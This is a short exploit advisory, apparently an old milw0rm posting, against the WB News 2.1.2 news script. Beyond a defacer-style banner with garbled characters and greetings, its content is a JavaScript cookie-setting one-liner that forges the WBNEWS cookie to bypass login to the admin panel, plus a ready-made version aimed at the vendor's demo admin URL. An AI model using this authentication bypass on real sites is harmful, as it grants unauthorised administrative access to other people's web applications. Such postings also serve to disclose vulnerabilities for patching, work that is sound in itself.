WB News 2.1.2 - Insecure Cookie Handling

[~] ----------------------------�0�1¨�0�1�0�6�0�2… �0�1§�0�2�6�7�0�2�6�7�0�2�6�0 �0�1§�0�2�6�7�0�1±�0�1�0�2�0�2…�0�2�6�9 �0�1§�0�2�6�7�0�1±�0�1�0�2�0�2�0�7�0�2…-----------------------------

 [~]Download: http://www.webmobo.com/downloads/

 [~]Software: wb news 2.1.2
 [~]author: ThE g0bL!N


 [~] Home: WWW.h4ckf0ru.com
Chi3arona houa :  Serra7 merra7 , koulchi mderra7>>>>
             Aflawa Kamikaz Wa4rin Fi kol Bla4s
[~] -----------------------------{ Iam MuSlIm}------------------------------

wb news 2.1.2 Insecure Cookie Handling Vulnerability
---------------------------------------
exploit:
-------
javascript:document.cookie="WBNEWS=[id];path=/";
demo
----
http://demo.webmobo.com/news/admin/
exploit for demo
----------------
javascript:document.cookie="WBNEWS=1;path=/";

[~]--------------------------------------------------------------------------------

 [~] Greetz tO:
  [~]
  [~] Dos-Dz TeaM - Snakes TeaM - Team Sobh4n ALLAH -His0k4-
  [~]
  [~]
  [~]
  [~]

 [~]--------------------------------------------------------------------------------

# milw0rm.com [2009-04-20]